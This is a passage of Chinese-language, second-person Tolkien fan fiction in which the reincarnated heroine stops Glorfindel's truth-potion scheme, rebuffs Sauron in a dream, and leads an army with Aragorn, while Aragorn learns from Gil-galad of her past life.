言下之意就是他到底想要做什么呢? “我……刚才发现这果汁可能变质了,所以还是不要饮用比较好。”尽管他设想过在你饮下带有吐露真言魔药的果汁后他可以问你很多问题,比如说你是不是伊玟的转世,又比如说你是否还记得他,更重要的是,他想问问你,有没有一刻,哪怕只是一瞬间,你对他的感情是独一无二的。 但是后来他又忽然意识到,自己这么做无异于将自己的意愿凌驾于你的意志之上,而且如果真的那么做了,毫无疑问的,他换来的只会是你的厌恶,好在他及时意识到这一点,并且阻止了接下来可能会发生的一切。 格洛芬德尔低着头躲避你的目光,他把那两杯果汁统统倒掉,很显而易见地,这杯果汁里加了什么东西,你倒也没有生气,因为你对精灵的道德底线很了解,除了极小一部分的精灵(在这里你指的就是埃欧尔),大部分精灵都会遵从埃尔达内部的律法,不会无缘无故地伤害他人。 比起这个,你更想知道是什么驱使他做出刚才的举动,又或者说,他那么做是为了什么,你若无其事地说:“这样不是浪费了两杯果汁吗?” “没有浪费。”格洛芬德尔轻轻地说道,那声音实在是太轻了,更像是在喃喃自语,许久后他才抬起头,那双美丽的湛蓝眼瞳里弥漫着都是愧疚的神色。 “我很好奇,如果我刚才喝下那杯果汁会是什么后果呢?”你循循善诱地问道。 “你会……说出真心话,任何真心话,无论是谁问你的问题,你都会如实回答。”说着说着,他又向你道歉,“抱歉,我不该那么做的。” 果然和你猜的差不多,他确实在果汁里动了手脚,你刚想再问点别的,但就在这时格洛芬德尔却坦白道:“我不该那么做的,但我已经等待了太久,我以为她不会再出现在我面前了,可是——”可是你的出现又给了他希望,又为什么要在给他希望之后又夺去呢? 你始终静静地凝视着他,“格洛芬德尔你真的很缠人你知道么?” 他透过眼中朦胧的水雾去看你的脸,捕捉到那与他记忆中如出一辙的神色,他原本克制住的眼泪顺着脸颊滑落,你找出手帕擦拭他的眼泪,之前没有向他透露你的真实身份也是出于这个原因,你擦去几滴眼泪,可是这泪珠真是越擦越多,到最后你都不得不放弃了,你的手掌托着他的侧脸,叹息一口气,真麻烦。 “为什么之前你都装出一副不认识我的模样呢?”他都没发觉自己的话语里带着几分幽怨。 你想要收回手,但是被他握住手掌,“回答我的问题好吗?” “原因也很简单,那就是一旦相认了,你就会露出和现在一样可怜兮兮的表情,很麻烦。” 格洛芬德尔没想到答案会是这个,但无论怎么说,至少他现在可以肯定一点那就是你的灵魂没有因为死亡而离开阿尔达,甚至还正如他猜测的那样又一次转生,他得以再一次见到你。 想到这里,他的眼睫轻微地颤抖着,“抱歉。” 他的道歉基本上没什么用,而且你也没有到生气的地步,你只是多多少少有些烦躁而已,你说:“现在可以松开手了吗?” 闻言,他登时放开手,但他的问题并没有结束,在你收拾工作台面的时候他也加入其中,但他的心思显然不在这上面,他似是无意地问道:“他已经知道这个事实了对么?” 不用想也知道他嘴里说的“他”是谁,无非就是吉尔-加拉德,几千年过去他们之间还是那么不对付,你说:“是的,因为至少他不会听到这个消息以后就哭个不停。”你这话说得有些夸张,但也很符合事实,毕竟从你和格洛芬德尔相识以来,尤其是当他意识到对你的感情后他始终都是这幅姿态。 被你这样挖苦的格洛芬德尔非但没有生气,甚至还能笑得出来,这次的笑容是发自内心的,那么明朗而纯粹。 你移开视线,果然你就该知道格洛芬德尔从一开始主动提出教你制作魔药就是带着别的目的而来的,现在从某种程度上来说,他也确实达到了自己的目的,而你既然已经学会了如何制作魔药,那就也没必要在这里停留太久,你收拾完工作台就又对着格洛芬德尔点了点头,“那么,我也该回去了。” 格洛芬德尔还有些想要挽留你,他说:“你不想再学点别的魔药制作方法吗?” “比如说吐露真言的魔药?”你半是调侃地反问道。 听你那么说,格洛芬德尔尴尬地笑了下,“如果你真的要学也可以,我都可以教给你。”无论你想要什么他都能为你做到,他的感情就是这样明媚炽烈。 当然这样的感情也会有副作用,那就是这一次他不会再那么轻易地放手。 这才是真正让你头疼的地方,你说:“好了,至于其他魔药 的制作方法留到以后再教给我也不迟。“你说。 格洛芬德尔跟着你离开工坊,临走前,你们还将工坊内点亮的灯火一一熄灭。 在确认你的真实身份之后,他对待你的态度也发生了微妙的转变,从起初的试探转为你以前所熟悉的态度,就是他一直盯着你看,让你有些不自在。 你忍不住开口说道:“你是打算一直盯着我看吗?” 格洛芬德尔这才将目光转移到另外一边,他一路陪伴着你一直走到你的房间门口,他这才停下脚步,你打开房间的门往里面走去,等你回过头的时候发现他还站在门口。 难道他还有什么事情想要对你说吗? “你还有什么话想说的吗?”你主动问道。 “我想说……晚安,祝你今晚拥有一个美梦。” 你还以为他会说什么重要的事情呢,你也回应道:“晚安。” 但实际上当天晚上你并没有拥有一个美梦,相反的,你还做了一个噩梦,但这个噩梦不是普通的梦境,说起这个你还得要感谢以前魔苟斯经常进入你的梦里,这使得你对自己梦境里出现的东西格外敏锐。 所以当你在梦境里看到一团黑色的雾气时,你一下子就意识到那是索伦,准确来说,还是怒火中烧的索伦,他在梦境中对你破口大骂,甚至还在言语上诅咒你。 本来你还能心平气和地听他说着各种不重样的气话,但是一听到他脱口而出的诅咒,你就眼疾手快地对着他的侧脸就是一巴掌。 这下子就连索伦都没有料到你会反击,毕竟在他看来你终究只是个人类而已,而且在梦境中,人类往往是十分脆弱的。 但他永远低估了你的能力,尤其是你对梦境的控制能力,你掌掴他之后还没完事,你甚至直接伸出手捂住他的嘴巴,这动作你在现实世界里也曾经对他做过。 “我想你应该知道这是我的梦境,也就相当于这是我的地盘,你贸然闯入我的领地,还对我大放厥词就应该料到会是这样的下场。” 因为被你单方面禁言了,索伦这下子都没办法开口嘲讽你,他只能被迫安安静静地听你说话。 过了一会儿你才松开手,只可惜索伦还是死心不改,她冷笑一声,“我真是想不明白那些精灵到底是怎么被你欺骗的。” “关于如何欺骗精灵,我想你应该也有很多的经验吧?”毕竟距离所知所伦曾经就捏造了一句美丽无暇的躯体装作精灵,以此来接近其他的精灵,正是他利用了其他精灵对自己的信任,从而打造出能够控制其他戒指的至尊魔戒。 只不过他最终还是遭到了反噬,因为精灵中的智者发现了他的阴谋。 眼看没办法从正面击败你,他就又转变策略,开始循循善诱地试图说服你,他说:“你曾经向乌欧牟问过你降临于这个世界的意义,但是他并没有给出确切的答复,要我说这群维拉是绝对不会给你答案的,他们只不过是伊露维塔的应声虫。如果你想要找到自己存在的意义,那不如来我这里,我会替你找到的。” 有意思,他这是尝试策反你吗? 说实话,你觉得这话从索伦嘴里说出来带着几分滑稽的色彩,毕竟在你看来索伦自己都没有找到自己存在的意义。 但你并没有直接戳穿他,而是装作感兴趣地问道:“是吗?那么你能直接与伊露维塔对话吗?” 索伦没想到你会直接这么问,关于伊露维塔他所了解到的信息并不多,因为这位真正的造物者很少出现在维拉面前,更别提迈雅了,他身为迈雅从未见过伊露维塔。 索伦的沉默换来你讥讽的笑容:“看吧,就连你自己都未曾真正接触过伊露维塔,你又怎么能确定自己已经找到了存在的意义呢?你认为自己想要统治中土是出于自身的意愿,甚至于你觉得自己堕落于黑暗中也是因为自发的意志。 那么倘若你身上所发生的一切都只不过是伊露维塔编写的大乐章中的一个小插曲呢?不,应该只是一个小音符。” 你说的这一番话让索伦彻底陷入沉思,他许久没有说话,等你再次反应过来的时候,他已经从你的梦境中离开了。 就这样离开了吗?你还以为他会再与你辩论一番的呢,结果还真是让你有些失望。 不过好处就是在这场对话之后,索伦不再出现在你的梦境中,你也终于得以拥有一个美梦。 在梦境结束后,你迎来了第二天的早晨,这些天以来,你的日常作息都很规律,每天都不是在上课,就是在切磋又或者是在和埃尔隆德聊天,你偶尔也会抽空去拜访自己的母亲,在经历上一次的对话后她终于不再对你的决定指手画脚。 因为明白自己无法改变你的决定,你终究是要走向战场的,所以她又转而开始给你和阿拉贡制作平安符,这样的平安符你也曾经在父亲阿拉松手中见到过。 在你和阿拉贡小时候,你们的母亲吉尔蕾恩就会专门为你们的父亲阿拉松制作平安符,现在这样的平安符又出现在你们手中。 “如果可以,我真不希望你们都去冒险。”吉尔蕾恩把平安符交到你和阿拉贡手中的时候这样说了一句。 阿拉贡自然而然地开始安慰吉尔蕾恩,你一看既然他都在主动安慰母亲了,那就不需要你多说些什么了,这样也好,因为你本身就不擅长安慰人。 与你形成鲜明对比的是阿拉贡的共情能力,你从小时候就察觉到他身上这种共情的天赋。 当初你们曾经在森林中捡到过一只翅膀受伤的鸟雀,在你看来,这只鸟雀已经没有救了,但阿拉贡还是执意要救它,事实证明你的判断是正确的,这只鸟都没有活过当天晚上,等你们隔天早上起来的时候,见到的就是一具冰冷僵硬的尸体。 而你则是被阿拉贡的哭声吵醒的,他的哭泣让你感到心烦意乱,你只能耐着性子地安慰他。 不过也恰恰是他那与生俱来的共情能力,使得他此刻可以安慰你们的母亲吉尔蕾恩,而你所需要做的就是站在一旁充当背景板。 等到他们母子俩的对话结束后,你才和阿拉贡离开吉尔蕾恩在住所。 你们走在长廊上,你看了一眼阿拉贡,看样子应该没有哭,你说:“我刚才真担心你会哭出来。” “我?我早就已经过了哭泣的年纪了。” 是么,你怎么觉得自己前不久还见过他流泪的样子呢? 你没有戳穿他那成熟的伪装。 “我还有别的问题想要问你呢。”阿拉贡冷不丁了来了这么一句。 “什么问题?” 真当你这么问了,他反而又开始犹犹豫豫的,这让你越发不解,他到底想问什么呢? “我……”他支支吾吾的。 “如果你不打算问的话,那就跳过这个话题吧。” “不,我想问的是。”阿拉贡斟酌用词,很委婉地说,“你是如何看待人类与精灵的爱情的呢?” 嗯?你刚才看他犹豫不决的样子,还以为他要说什么大事呢,结果开口就是这个问题吗? 这下子轮到你陷入沉默了,你缓慢地眨了一下眼睛,“你真的不是在开玩笑吗?” 什么开玩笑啊,他可是经过深思熟虑后才向你问出这个问题的,而且他也很想知道你到底对此持有什么看法。 “我没有在开玩笑。”他很严肃地说道。 好吧,那就当他是在非常认真地问这个问题吧,你回答道:“我认为这注定是以其中一方感到悲痛欲绝为收场的爱情。” 你自认为自己说的很中肯,与此同时,也在思考阿拉贡为什么会这么问,难道是他喜欢上了什么精灵吗? 说实话,如果是阿拉贡的话,会被精灵喜欢也不奇怪,毕竟他从小在精灵的领地内长大而且才略过人,无论怎么看都是一位优秀的人类王室后裔。 “悲痛欲绝么……”他喃喃地重复你刚才说过的话,而后又抬起头,说:“我不希望你感到悲伤。” 这下子你就更加疑惑了,这和你又有什么关系呢?而且你还以为他这么问是因为自己深陷其中,结果却并非如此吗? “我又为什么要感到悲伤呢?”你反问道,“应该悲伤的不是你吗?” “是的……我会为你感到难过,不对——”说着说着,阿拉贡忽然发现你们好像聊得不是一个东西,“等一下,我们之间是不是存在什么误解?” “你那么问我难道不是因为你与精灵坠入爱河了吗?”你说着。 阿拉贡却说:“我以为那个人是你。” 这下子你们总算弄明白了。 就在你还想要解释一番的时候,吉尔-加拉德迎面走来,他先是礼貌地对着你身边的阿拉贡点 点头,而后又笑着对你说:“今天的课程是在户外进行的,我们到时候就在花园里碰面吧。” 站在旁边的阿拉贡看看你,又看看吉尔-加拉德,他就说吧,深陷感情漩涡的人明明就是你。 90-100 第91章 第91章“准备好收回我们的家园…… 说完这番话吉尔-加拉德也随之离开,等他走远了阿拉贡才有些奇怪地皱起眉,因为在他的印象里精灵是忠贞的生物,而吉尔-加拉德曾经有过一位爱人,现在的情况让他感觉更加迷惑不解。 难道精灵也会移情别恋吗?这样的情况应该很少见吧?他忍不住对你说:“我记得他曾经有过人类爱人的……”他这么说也不是在怀疑吉尔-加拉德,他只是单纯地感到疑惑而已。 你说:“是啊。” “那他现在——”阿拉贡的声音突然打住,他缓慢地眨了一下眼睛,难道是因为你和他曾经的爱人很像吗?仅仅因为这个所以才会对你展现出偏心的一面?但这样对你来说岂不是很不公平吗? 想到这里,阿拉贡就又很严肃地对你说:“之后那节课你还是不要去了吧。” 不明白阿拉贡脑袋里都在想什么的你反问他:“你这是在劝说我翘课吗?”真少见,要知道以前他可是很反对你翘课的,因为你一翘课那么老师的注意力都会集中在他身上。 阿拉贡郑重地点了点头,他得要和吉尔-加拉德好好谈一谈,至少得要把这件事情说清楚才行,毕竟你是他的妹妹,他可不能让你吃亏。 虽然不知道他想到了什么,但他的神色转变之快让你都有些惊讶,他正义凛然地表示自己会和吉尔-加拉德说明你的情况的,“总之——现在你还是不要去见他了。” “你是要找他的麻烦?”身为当事人的你看热闹不嫌事,还能这样问道。 “也不算是找麻烦吧。”谈话归谈话,这可不算找茬,阿拉贡分得很清楚。 你思考片刻,偶尔错过一节课问题也不大,而且阿拉贡找吉尔-加拉德肯定要谈很久,你就不在他们身上浪费太多时间了,思考过后你便点头同意。 于是乎当天午后吉尔-加拉德没有等来你,反倒是等来了阿拉贡,对方自以为将自己的内心隐藏得很好,但在吉尔-加拉德看来,他只看一眼就知道对方来势汹汹,他没有问阿拉贡你怎么没来,而是询问:“你也对今天下午的课程感兴趣吗?” 阿拉贡说:“是我让亚玟暂时别过来上课的。” “那她现在还好吗?”吉尔-加拉德并没有因为你的缺课而生气,他反而向阿拉贡问起你的身体状况,他还以为是你生病了,但其实想想也知道你在短短半天内生病的可能性有多小。 “她?她现在在阿尔温公主那里,这一点不用劳烦您费心。” 吉尔-加拉德招呼阿拉贡在花园的亭子里坐下,他又给阿拉贡倒了一杯茶,“那么你来这里又是为了什么呢?” “我是为了她而来的,因为我想知道您到底是怎么想的。”阿拉贡开门见山地说,“我自小在精灵的照顾下长大,虽然算不上对精灵很了解,但是我知道精灵一旦选中自己的爱人就会一生只爱着对方,我从未听过精灵移情别恋的故事。” 安静地听他说完这些,吉尔-加拉德差不多知道了阿拉贡的来意,他确实是为了你才来的,准确来说是为了你的幸福,从这一点来看他的确是一位合格的兄长。 “我赞同你的看法。”吉尔-加拉德说,如果要追根溯源起来,阿拉贡的血脉里也有着一丝一缕的精灵血脉,当然这血脉伴随着代际更迭,一代又一代地稀释,等到他这一代的时候已经变得十分稀薄,但他的性格里也有精灵的一面。 气势汹汹而来的阿拉贡没想到吉尔-加拉德的态度那么好,他不由地愣了一下,但他依旧没有忘记自己自己来这里的目的,他接着又说:“既然您赞同我的看法,可又为什么……我记得您与伊玟陛下的爱情故事在这片大陆上广为流传,难道您已经将她忘了吗?” “我明白你的意思。”吉尔-加拉德听出来了估计你都没有和阿拉贡说起过你转世的事情,这才使得他那么激动地跑来质问他,你不可能没考虑到这件事,只能说你压根就没想过要将这个真相告诉阿拉贡,而告诉他真相这个烫手山芋此时又被丢到了吉尔-加拉德手里。 “您真的明白我的意思了吗?可是您现在所做的一切都像是早已将她遗忘了——” “阿拉贡。”眼看着对方的情绪变得激动起来,他叫了一声对方的名字试图让他冷静一点,“你的妹妹亚玟,你难道没觉得她和其他人有什么不一样的地方吗?” 你身上不同寻常的地方很多,比如说你从小就很成熟的心智,又比如说你对人类精灵恋爱故事的厌烦,还有你偶尔表现出来的淡漠,他说:“我对她的了解应该比您要多。” “真的吗?”吉尔-加拉德似笑非笑,“我不这么觉得。” 什么?难道他还自认为非常了解你吗?可你们明明才认识没多久,他这么说未免就有些狂妄自大了吧? “我和她是双生子,而且——”阿拉贡本来想说他与你从小一同长大的,但是他意识到自己错过了你过去的那十年时光,因此他又打住,用目光谴责吉尔-加拉德。 在阿拉贡的注视下吉尔-加拉德还能保持得体的笑容,“我在她还是伊玟的时候就认识她了。” 这句话让阿拉贡沉默了许久,什么叫做你还是伊玟的时候?你和那位伊玟陛下之间又有他所不知道的联系呢?这下子轮到阿拉贡不明白他的意思了,他说:“我不明白,您这话是什么意思?” “意思就是,她曾经是伊玟,现在又是你的妹妹亚玟,她们的灵魂是相同的,而且她当初写给我的那一封信的内容也只有我和伊玟知道。” 听他说完这话,阿拉贡突然发现许多事情就都有了答案,比如说为什么当初吉尔-加拉德会特意来幽谷询问他那一封信是谁写的,从那个时候开始他就在寻找你了吧? 以及他对待你的态度,原来一切早就有迹可循,只是他从前根本没有联想到这一点,又或者说换做别人也不可能想到你的灵魂迎来了转生。 一时之间阿拉贡都不知道该说些什么,他愣愣地重复一遍:“她曾经是你的爱人?”根据吉尔-加拉德刚才说的话,阿拉贡得出这个结论,他起初还有些不敢相信,可是在看见对方认真的表情时,他就意识到他说的都是真话。 只是原来人类的灵魂也能够转世吗?难怪你从小表现得就心智成熟…… 吉尔-加拉德说:“是的,当然现在她不希望过多的人知道这件事。” 阿拉贡也是这么认为的,因为这种离奇的事情要是被有心人得知利用,反而会对你产生不利影响,因此他深表赞同地点点头,“的确。” 不过话又说回来了,既然你是转世的,那么吉尔-加拉德也是你的爱人,等一下,那他又该如何称呼吉尔-加拉德呢?阿拉贡再次陷入头脑风暴,因为如果要认真地理清这其中的关系,估计得要花费不少时间。 既然你们之前是伴侣,可看你的样子似乎没有多在意吉尔-加拉德,阿拉贡说:“但她表现出来的样子不像是那么喜欢您。”因为脑袋里有太多的疑问,所以阿拉贡不假思索地就将这句话给说出了,而恰恰是这句话让吉尔-加拉德的笑容僵住,他说:“……是么,但她的性格本来就是内敛沉稳的类型,不怎么善于表达自己的情感。” 这倒不是擅不擅长表达自己情感的问题,重点在于阿拉贡根本没察觉出你对吉尔-加拉德的感 情,这样不是很奇怪吗? “真的是这样吗?”阿拉贡自己也陷入了疑惑,分不清现在的情况。 “是这样的。”吉尔-加拉德的态度很肯定,等阿拉贡还想追问的时候他就又说:“关于我和伊玟的故事,我想你也早有耳闻。” 突然发现自己的妹妹居然是这个广为流传的爱情故事里的主角之一,阿拉贡在短时间内还没能适应过来,他说:“啊……是的,在故事里你们甚至因为爱情无法得到其他精灵的祝福而选择私奔这是真的吗?” “你听的是什么版本的故事?”吉尔-加拉德这样冒出一句,这个故事情节怎么就连他都没有听说过?原先他只是对你们的故事版本之多略有耳闻,现在看来他了解的东西还是太少了。 “我不知道,那是我在书上看到的,还有各种各样的舞台剧音乐剧,那里面都有私奔的情节。” “我可以很肯定地说我和她的爱情故事里不存在私奔这个情节。” 难怪你以前看到这种舞台剧都会站在一旁露出一言难尽的表情,估计你也对其他人类肆意改编你们的故事感到无奈吧? “那、你们不是还有一同潜入魔苟斯的领地窃取精灵宝钻的故事吗?” 这又是什么情节?吉尔-加拉德同样没有听说过,他揉了揉太阳穴,不由地感慨道:“人类和精灵的想象力可真丰富啊。” “什么,那您的意思是这些也都是假的?” “确实存在夺取精灵宝钻的故事,但那是她孤身一人潜入魔苟斯的领地内盗走精灵宝钻。” 好吧,这确实是你会做得出来的事情,阿拉贡心想,难怪你当初一声不吭直接和吉尔-加拉德闯入索伦的领地内,结合你以前做过的事情,既然你都能从魔苟斯的眼皮子底下偷走精灵宝钻,你对上索伦对方确实有些不够看的。 阿拉贡最想问的几个问题都得到吉尔-加拉德的回答,到最后他端在手里的茶杯都变得微凉,他喝了一口已经冷掉的茶水,心情就和这茶的味道一样一言难尽,他都不知道待会见到你该怎么面对你了。 “除此之外你还有别的什么问题想要问我的吗?”吉尔-加拉德的态度从始至终都很温和平静,这反而衬托得一开始阿拉贡的态度十分咄咄逼人,他态度诚恳地对着这位精灵领主道歉,“抱歉,我之前对您的态度实在是太过冒犯了。” 好脾气的精灵不会在意这些小细节,而且再说了,这也从侧面印证了阿拉贡对你的关心,那他就更不可能生气了,只是阿拉贡最后一个问题让他心情复杂,只听见阿拉贡说:“那她和格洛芬德尔大人又是什么关系呢?” 应该说是单方面的关系,尽管格洛芬德尔比他先一步认识你,但是他认为自己在你心中的地位是对方无可取代的,只不过格洛芬德尔这些天一直围着你打转难免让他有些不悦,好在他将这份不悦都藏在了心里,其他精灵都不曾察觉。 吉尔-加拉德没有马上回答,而是又给阿拉贡添了点茶水,他放下茶壶,“没什么关系。” “但是——” “那就不妨让我再重复一遍吧,他们之间没有任何关系。”说第二遍的时候他的语调很明显地变得非常严肃。 如果他没有看错的话,这位精灵领主神色里还带着几分烦躁……?这还真是少见,因为精灵,尤其是上了年纪的精灵(主要指的是几千岁的精灵),他们的性格一般来说都会变得很祥和,当然也会有极少数的几个特例,这里就不展开了,但是,就阿拉贡以往的经验来看,几千岁的精灵很少出现明显的情绪波动。 而吉尔-加拉德刚才却明显地表现出不悦,这让阿拉贡愣了一下,前者也有意识地控制自己的表情,他笑了一下,“我想我回答得已经足够清楚了,就不需要再重复一遍了吧?” “嗯……不需要再重复了。” 后来的阿拉贡找了个借口从花园离开,他本意是想提醒吉尔-加拉德,但是没想到自己居然得知了一个惊天的大秘密,接下来的几天阿拉贡都在消化这个消息,一直到你即将带兵收复失土的前一晚,他才和你坦白这件事。 你们坐在房间连接着的露天阳台上,当天晚上基本上没什么夜风,幽谷里显得静悄悄的,在这样静谧的环境下阿拉贡顺势提起自己和吉尔-加拉德的谈话,他说:“关于你的秘密,你之前为什么不告诉我呢?” 说得那么笼统你怎么知道他说的是你的哪个秘密?毕竟你身上的秘密可真不少,你反问:“你说的是哪个?” 看来你藏起来的秘密不止一个。 阿拉贡说:“是关于你前世今生的秘密。” 他原以为你会很惊讶的,但实际上你的神色都没有太大的变化,反应也是那么平淡,你“噢”了一声,“你知道了啊。” 这样就显得他才是那个大惊小怪的人了,他说:“你……怎么不和我说呢?” 那把与阿拉贡的匕首成双的匕首被你放在阳台的小桌上,你正在仔细擦拭这把匕首,专注得都没抬起头看阿拉贡一眼,“但你现在不也还是知道了吗?” 但这两者之间是存在区别的,你主动告诉他的和他询问别的精灵得知的那能等同吗? “而且我早就料到了你肯定需要一些时间来适应,所以我是出于种种考虑才没有告诉你的。”你给出的说辞听上去倒是很合理。 “但我有时候还是会觉得有些恍惚。” 匕首被你擦得锃光瓦亮的,刀身映照出今晚皎洁的月光,你半开玩笑地说:“有什么好恍惚的?是突然意识到了我比你的年龄其实要大不少?”如果按照灵魂的年龄来计算的话,那你的年龄是他现在年龄的好几倍呢。 阿拉贡摆摆手,“这不是重点,无论如何你都是我的妹妹。” 那他认为的重点又是什么呢?你不明白。 “那什么才是你的重点呢?” 阿拉贡很认真地说:“你过得幸福才是重点。” 这是什么俗套的说辞啊,你没忍住扯了扯嘴角,阿拉贡嚷嚷着,“这是我的真心话啊。” 你也没有在质疑他说的话的真实性,你只 是有些不太适应而已,你把匕首收到剑鞘里,转而和他说起明天的作战计划,早在几天前吉尔-加拉德就派出了一支精锐小队来探查前方的情况,根据这支小队发过来的消息,可以确定因为索伦老巢被清剿,使得那片区域的半兽人军队也分出了将近一半的力量前往南方地区支援索伦,这就给了你们可趁之机。 现在天时地利人和都有利于你们,你可以确定这就是最佳时机。 话题跳转得太快,阿拉贡顿了顿才跟上你的思路,他其实还想和你聊聊吉尔-加拉德的,但是现在还是战事更加重要,所以他也就和你讨论起具体的作战计划,你们又从头捋了一遍,除了主要的作战计划,还有备用方案,在遇到突发情况的时候就使用这些备用方案。 聊到最后,阿拉贡又说:“你以前真的从魔苟斯手里偷走了精灵宝钻?” “应该说是直接偷走了他的王冠。”你说,然后又将精灵宝钻作为筹码与那群费诺里安谈判,只不过这后面的事情你并没有告诉阿拉贡,后者也惊讶于你的勇气,虽然他以为自己已经对你很了解了,但是现在看来他对你的了解只不过是冰山一角,吉尔-加拉德说的没错,他确实有很多事情都不知道。 你们后来又聊了些别的话题,等到隔天早上还没等第一缕阳光撒向大地你就早早地起了床,穿上战斗服最后再手持头盔离开自己的房间,但你不是第一个早起的人,在此之前还有一位精灵比你醒得还早,而且就站在幽谷宫殿的大门口等待着你的到来。 “你是什么时候到这里的?”你问道。 有着一头金色长发的精灵格洛芬德尔回答道:“不久前,我猜到了你肯定会起得很早的。” 幽谷这边派出的军队由格洛芬德尔负责领导,至于吉尔-加拉德前些天就先离开了幽谷回到纳国斯隆德调兵,他离开幽谷以后格洛芬德尔的心情也肉眼可见地变得轻松许多,当然,他是不会直接这么说的,但从他轻快的语调就不难发现他现在的好心情。 “你的心情好像很不错?” 格洛芬德尔直话直说:“是的,毕竟那位精灵领主回纳国斯隆德去了。” 几千年过去了他还真是一点长进都没有,居然还会在这种小事上面计较,你调整自己的肩甲,但是无论怎么调整都感觉有些不对劲,最后还是格洛芬德尔伸出手为你调整肩甲,他轻声问道:“这样会好一点吗?” “嗯,好很多。”每到这时候你就会开始怀念阿瑞蒂尔为你打造的盔甲,那是你穿过最合身的盔甲,而且质感轻盈却又能防御大部分攻击,只可惜这件盔甲现在被保存在多尔罗明中心博物馆内,至于你是如何知道的,那就得要感谢吉尔-加拉德了,当你向他说明自己的身份后,他便和你说起在你去世以后发生的事情,其中就包括了你的盔甲被完好无损地保存在位于首都的中心博物馆内。 本来你还打算让吉尔-加拉德替你取回这件盔甲的,但是听他那么一说,你就暂时打消了这个念头,毕竟既然是被保存在博物馆内的展品,贸然取走肯定会引起其他人的注意,到时候还可能会引来不必要的麻烦,所以为了保险起见你就只能作罢。 但这个小插曲不妨碍你在这时候无比怀念那件盔甲,甚至于连带着开始怀念阿瑞蒂尔,据你所知阿瑞蒂尔是在进入第三纪元不久以后选择西渡回到维林诺的,因此你也没能再次见到她。 你的回忆到此为止,因为伴随着阳光逐渐普照大地,幽谷的精灵士兵也汇聚在幽谷的广场上,身为幽谷主人的埃尔隆德发表战前宣言,随着他最后一个话音落下,现场顿时士气高涨。 你对着站在你身边的阿拉贡说:“准备好收回我们的家园了吗?” 第92章 第92章“什么表达谢意?”…… 当太阳腾升到天空中央的时候你和阿拉贡也带领军队离开幽谷,这对于阿拉贡来说还是第一次担任战场的指挥官。 在此之前他虽然也有参加战争,但往往是听从指挥的那一个,因为他的心中不免有些紧张,相较之下你就显得平静淡定多了,毕竟据你所知在进入第三纪元以后巨龙基本上都已经销声匿迹,要知道你以前最烦的就是突然从天空中出现的巨龙。 除了巨龙,炎魔的数量也锐减,因为当初大部分炎魔都伴随着他们的主人魔苟斯的倒台而随之消失不见,至于剩下的炎魔则是在之后的一个纪元内被骁勇善战的诺多精灵消灭得差不多了,尤其是诺多王室第一家族的那群费诺里安,不少炎魔死在他们的刀剑之下。 所以综合来看,这场战争对你来说没有任何挑战性,你甚至还能分出一部分精力思考如何找到遗落在中土不知何处的至尊魔戒,因为索伦实在是太狡猾了,一天没有彻底消灭他,你就一天不能安心,更重要的是,索伦和他的前主人魔苟斯相比,最大的优点就是非常能苟,因为按照他原来的计划他甚至打算等到精灵全都西渡了就对人类发动攻击。 他的计划除了耗费时间比较长以外,可行度到是很高,只可惜碰上了你,他就着急地坐不住了。 陶瑞尔骑着马向你靠近,她说:“陛下希望这场战事结束以后你再回密林一趟。” 你也是那么想的,因为按照你先前和他的约定,你还得要把藏在宫殿密室里的珍宝当做报酬送到他面前,你说:“我正有此意,毕竟我还得要履行自己的承诺。” 陶瑞尔觉得履行承诺是次要的,主要还是希望能再见一见你,瑟兰迪尔就是这么别扭的精灵,他对你的关心得要通过其他精灵才能知道,要是与他面对面,他说不出半句关心的话语来。 “不,我觉得陛下可能是有些想念你了,当然也想念莱戈拉斯殿下了。”陶瑞尔说。 还没等你回答,她捕捉到天空中飞过的蝙蝠,身体先一步做出反应,直接从箭筒里抽出一支箭搭在弓上,开弓射箭,那一支箭直接穿过两只蝙蝠把它们俩给串在了一起,陶瑞尔抬头看向天空寻找有没有漏网之鱼,确认没有之后才又看向你。 “他同样也想念你,陶瑞尔,瑟兰迪尔陛下很在乎自己的子民,他自然也很关心你。”你说。 陶瑞尔在面对瑟兰迪尔的时候总是一副毕恭毕敬的态度,再加上她本身就是一位性格谦虚的精灵,所以她听你这么说下意识地想要反驳,但你却对她笑了一下,“如果他不重视不在乎你,又怎么会把这么重要的任务交给你呢?陶瑞尔,我的朋友,你是一位优秀的精灵战士,而他也是一位尽职尽责的精灵王。” 在旁边留意你们这边动静的格洛芬德尔意识到你在战事结束以后还会去密林一趟,他说:“正好,埃尔隆德大人也想要向瑟兰迪尔陛下表达谢意。” “什么表达谢意?”陶瑞尔有些不太明白,但她能明白的是格洛芬德尔到时候会跟着你一同回密林,这位精灵比他表现出来的还要粘人。 “为了表达您的陛下帮忙照顾埃尔洛斯后人的感谢。”格洛芬德尔说得有理有据,就好像埃尔隆德确实和他说过这事一样。 没错,就好像。 但实际上埃尔隆德真的提起过这件事吗?或许他确实是想要表达谢意的,但无论怎么看都是直接派自己的儿子去更加合适一些吧?然而埃尔隆德不在这里,自然也没法戳穿格洛芬德尔看似合理的谎言,甚至于就连你都对此半信半疑。 格洛芬德尔又对你说:“到时候你打算什么时候出发都行。” 阿拉贡的脸色变得有些微妙,因为他前不久才从吉尔-加拉德嘴里得知你曾经和他是恋人,而现在格洛芬德尔又在明晃晃地向你表达好感,他突然就有些后悔自己当初为什么要那么好奇刨根问底了,如今知道了真相 的他都不知道自己该怎么做才好,他只能咳嗽一声,然后说:“这还是让我陪你回密林吧。” 对于这个提议莱戈拉斯也表示赞同,他说:“好啊好啊,阿拉贡你要是去密林的话肯定也会喜欢那里的,最好是能在那里再住上一段时间,我的父亲肯定会欢迎你的。” 得要感谢莱戈拉斯插话,这才让阿拉贡顺利地转移话题,但他一边和莱戈拉斯聊天,一边还得要时时刻刻留意你和格洛芬德尔的动静,要是吉尔-加拉德在这里就好了,他就不用那么费神了。 只不过阿拉贡也没有担心太久,因为接下来的时间你们都在埋头赶路,等到达目的地的边境时已经是两天后的事情了,你们没有贸然进入境内,而是选择在原地暂为休整一番,等到休息得差不多并且和吉尔-加拉德带领的队伍汇合后才一同冲向境内。 这场战争确实如你所预料的那样没有任何难度,可能唯一有难度的就是战后如何打扫战场以及消除半兽人占据宫殿残留下的那一股强烈的恶臭味,不得不说,你在久违地走进那个熟悉的宫殿时,最先迎接你的就是那股猛烈的臭味攻击,你下意识地皱起眉,用手帕捂住鼻子。 跟在你身边的阿拉贡也在小声嘟哝,“这里都要变成半兽人的巢穴里,真是糟糕。” 